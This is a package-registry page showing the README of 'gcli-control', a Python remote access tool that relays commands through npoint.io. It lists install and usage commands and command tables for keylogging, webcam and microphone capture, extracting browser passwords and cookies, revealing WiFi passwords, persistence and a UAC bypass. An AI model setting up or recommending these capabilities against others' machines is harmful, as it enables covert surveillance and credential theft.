
Security News
/Research
Fake Corepack Site Distributes Infostealer and Proxyware to Developers
A fake corepack.org site is impersonating the Node.js tool and delivers an infostealer and proxyware to developers who download it.
gcli-control
Advanced tools
Remote access tool via npoint.io - encrypted relay with 200+ commands, multi-host support, auto-reconnection, dashboard, session stats, and full desktop/system control.
Encrypted command relay over npoint.io JSON bins. AES-256-GCM encryption, cross-platform, 100+ commands.
┌──────────┐ commands ┌─────────────┐ commands ┌──────────┐
│ gcli ssh │ ───────────────> │ npoint.io │ ───────────────> │gcli host │
│ (client) │ <─────────────── │ (JSON bin) │ <─────────────── │ (daemon) │
└──────────┘ results └─────────────┘ results └──────────┘
pip install gcli-control
Host (remote machine):
gcli host --password MySecret123
gcli host --password MySecret123 --foreground # debug mode
Client (your machine):
gcli ssh --password MySecret123
Stop host:
gcli stop
| Command | Description |
|---|---|
| Any text | Execute shell command on remote host |
:help | Show available commands |
:info | Remote system info (hostname, OS, user, IP) |
:ping | Ping remote host (show latency) |
:upload <local> <remote> | Upload file to remote host |
:download <remote> <local> | Download file from remote host |
:timeout <seconds> | Set exec timeout |
:history | Command history |
| Command | Description |
|---|---|
:ls [path] | List directory |
:tree [path] [depth] | Directory tree |
:mkdir <path> | Create directory |
:rm <path> | Delete file |
:find <pattern> | Find files by glob |
:stat <path> | File info |
| Command | Description |
|---|---|
:ps [limit] | List processes |
:kill <pid> | Kill process |
:uptime | Remote uptime |
:cpu | CPU usage |
:mem | Memory usage |
:disk [path] | Disk usage |
:top [limit] | Top processes by CPU |
| Command | Description |
|---|---|
:clipget | Get remote clipboard |
:clipset <text> | Set remote clipboard |
:clipclear | Clear clipboard |
:dns <host> | DNS lookup |
:portcheck <host> <port> | Check port |
| Command | Description |
|---|---|
:alias <n> <cmd> | Create alias |
:aliases | List aliases |
:script <c1; c2> | Run script (semicolons) |
| Command | Description |
|---|---|
:audit | View audit log |
:threat <cmd> | Check threat level |
:lock | Lock session |
:unlock | Unlock session |
| Command | Description |
|---|---|
:netstat | Active network connections |
:services [list|start|stop] <name> | Manage services |
:screenshot | Capture remote screen |
:history [n] | Remote shell history |
:envset <K> <V> | Set env variable on host |
:grep <pattern> [path] [ext] | Search files |
:partitions | Disk partitions |
:whoami | Remote user info |
| Command | Description |
|---|---|
:bulk <c1; c2> | Bulk execute commands |
:repeat <cmd> <n> | Repeat command N times |
:cron | List scheduled tasks |
:cron add <name> <cmd> | Add scheduled task |
:cron rm <name> | Remove scheduled task |
:snapshot | Full env snapshot |
:waitport <host> <port> | Wait for port to open |
| Command | Description |
|---|---|
:hash <path> [algo] | File hash (md5/sha1/sha256/all) |
:integrity <create|verify> [path] | File integrity baseline |
:recent [hours] | Recently modified files |
:portprocess <port> | Find process by port |
:usb | List USB devices |
:suspicious | Flag suspicious processes |
:openfiles <pid> | List open files for process |
:envaudit | Audit env for secrets |
:startup | List startup programs |
| Command | Description |
|---|---|
:verify <path> <sha256> | Verify file integrity |
:diff <a> <b> | Diff two files |
:split <path> [size] | Split file into pieces |
:merge <pattern> <out> | Merge split files |
| Command | Description |
|---|---|
:camlist | List cameras |
:camcapture [id] | Capture photo |
:camrecord [id] [sec] | Record video |
:caminfo [id] | Camera info |
:audiodevices | List microphones |
:audiorecord [sec] [dev] | Record audio |
:audioinfo | Audio system info |
:audiolevel | Current mic level |
| Command | Description |
|---|---|
:keylogstart | Start key capture |
:keylogstop | Stop key capture |
:keylogread [n] | Read captured keys |
:keylogstatus | Keylogger status |
:keylogsave [path] | Save keys to file |
| Command | Description |
|---|---|
:persist | Full persistence status |
:persist install [method] | Install startup |
:persist remove | Remove startup |
:persist list | List persistence |
:persist schedule | Install scheduled task |
:persist unschedule | Remove scheduled task |
:persist watchdog | Install watchdog |
:persist unwatchdog | Remove watchdog |
| Command | Description |
|---|---|
:browsers | List detected browsers |
:bhistory [browser] [n] | Browser history |
:bcookies [browser] | Browser cookies |
:bbookmarks [browser] | Browser bookmarks |
:bdownloads [browser] | Download history |
:bpasswords [browser] | Saved passwords |
| Command | Description |
|---|---|
:wifistatus | WiFi connection status |
:wifiscan | Scan nearby networks |
:wifilist | Saved WiFi profiles |
:wificonnect <ssid> [pw] | Connect to WiFi |
:wifidisconnect | Disconnect WiFi |
:wifipassword <ssid> | Show saved password |
:wififorget <ssid> | Remove saved profile |
| Command | Description |
|---|---|
:checkadmin | Check admin/root status |
:elevate | Attempt UAC bypass (Windows) |
:sudo <cmd> | Run command as root |
:sysinfo | Detailed system info |
| Command | Description |
|---|---|
:interfaces | List network interfaces |
:dns <iface> <servers> | Set DNS servers |
:proxy <h> <p> | off | Set/clear proxy |
:firewall | Firewall status |
:fwallow <port> [name] | Allow port in firewall |
:arp | ARP table |
:hosts <ip> <host> | Add hosts file entry |
| Command | Description |
|---|---|
:reglist <key> | List values in key |
:regread <key> [val] | Read registry value |
:regwrite <key> <n> <v> | Write value |
:regdelete <key> <val> | Delete value |
:regsubkeys <key> | List subkeys |
:regsearch <query> | Search registry |
gcli/
├── __main__.py # CLI entry point
├── __init__.py
├── crypto.py # AES-256-GCM + PBKDF2 key cache + zlib compression
├── npoint.py # npoint.io API (persistent HTTPS connection pool)
├── protocol.py # Document structure, race-condition safe append
├── host.py # Daemon: poll → decrypt → dispatch → encrypt → respond
├── client.py # SSH REPL with 100+ commands
├── utils.py # PID management, detach, system_info
├── colors.py # Cross-platform ANSI colors
├── session.py # Handshake, heartbeat, key rotation
├── fileops.py # ls, tree, mkdir, rm, stat, cp, mv, find, du
├── processes.py # ps, kill, process_info, env, uptime, network_info
├── clipboard.py # Clipboard sync
├── netutils.py # HTTP, DNS, port check, traceroute, speed test
├── aliases.py # Command aliases & scripting
├── security.py # Rate limiting, audit log, threat detection
├── output.py # Pagination, syntax highlighting, diff format
├── monitoring.py # CPU, memory, disk, processes, temperature
├── system.py # Netstat, services, screenshot, shell history, grep
├── automation.py # Bulk exec, repeat, cron, watchdog, env snapshot
├── forensics.py # File hash, integrity, recent files, USB, suspicious processes
├── transfer.py # Chunked file transfer, checksum, diff, split/merge
├── webcam.py # Camera capture & recording
├── audio.py # Microphone recording & levels
├── keylog.py # Keystroke capture
├── persistence.py # Startup, scheduled tasks, watchdog
├── browser.py # Browser history, cookies, bookmarks, passwords
├── wifi.py # WiFi management (scan, connect, profiles)
├── elevator.py # Privilege escalation (UAC bypass, sudo)
├── network_config.py # DNS, proxy, firewall, ARP, hosts
└── registry.py # Windows registry operations
cryptography package (required)psutil (optional — better process/system monitoring)sounddevice (optional — audio recording)opencv-python (optional — webcam capture)pynput (optional — keylogging on Linux/macOS)MIT
FAQs
Remote access tool via npoint.io - encrypted relay with 200+ commands, multi-host support, auto-reconnection, dashboard, session stats, and full desktop/system control.
The pypi package gcli-control receives a total of 1,294 weekly downloads. As such, gcli-control popularity was classified as popular.
We found that gcli-control demonstrated a healthy version release cadence and project activity because the last version was released less than a year ago. It has 1 open source maintainer collaborating on the project.
Did you know?

Socket for GitHub automatically highlights issues in each pull request and monitors the health of all your open source dependencies. Discover the contents of your packages and block harmful activity before you install or update your dependencies.

Security News
/Research
A fake corepack.org site is impersonating the Node.js tool and delivers an infostealer and proxyware to developers who download it.

Research
/Security News
A large-scale campaign abused GitHub Actions in compromised repositories to exploit CVE-2026-41940 in cPanel and WHM and steal server credentials.

Security News
Five frontier LLMs generated the same nonexistent package names, leaving 53 available for potential slopsquatting across PyPI and npm.